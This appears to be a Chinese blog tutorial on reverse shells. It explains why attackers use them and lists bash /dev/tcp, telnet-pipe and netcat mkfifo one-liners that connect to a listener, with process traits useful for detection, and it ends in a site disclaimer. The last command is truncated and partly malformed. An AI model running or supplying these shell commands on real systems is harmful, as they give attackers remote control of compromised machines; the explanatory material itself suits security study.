反弹shell简介
当黑客拿到一台服务器的权限时候,往往会因为服务器没有公网IP/防火墙限制等原因没有办法正向的方式进行连接,如SSH等,那么就需要让被入侵的服务器主动将shell送到控制端来进行接管,所以叫反弹shell。
我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。大部分的公司网络都会限制外部服务器连接公司内部的服务器,但是不会限制内部服务器主动外联,这就是反弹shell的利用场景。
常见的反弹shell
反弹shell的方式较多,且极为灵活,下面就来看看一些常见的反弹shell方式以及他们的一些特征
1.bash反弹
方式
Bash反弹,远程主机监听端口: nc -lvp 7777 被入侵的机器反弹shell命令如下: bash -i >& /dev/tcp/192.168.7.61/7777 0>&1
特征
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
随便说一下,上面bash -i >& /dev/tcp/192.168.7.61/7777 0>&1语句的含义,
首先我们知道当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
所以上面语句的含义如下:
bash -i:启动交互式bash进程
& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中
0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)
2. telnet反弹
方式
远程主机监听端口: nc -lvvp 4444 nc -lvvp 5555 被入侵的机器反弹shell命令如下: telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555
特征
创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。
3.nc(netcat)反弹
反弹方式
远程主机监听端口: nc -lvvp 4444 被入侵的机器反弹shell命令如下: rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tm
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)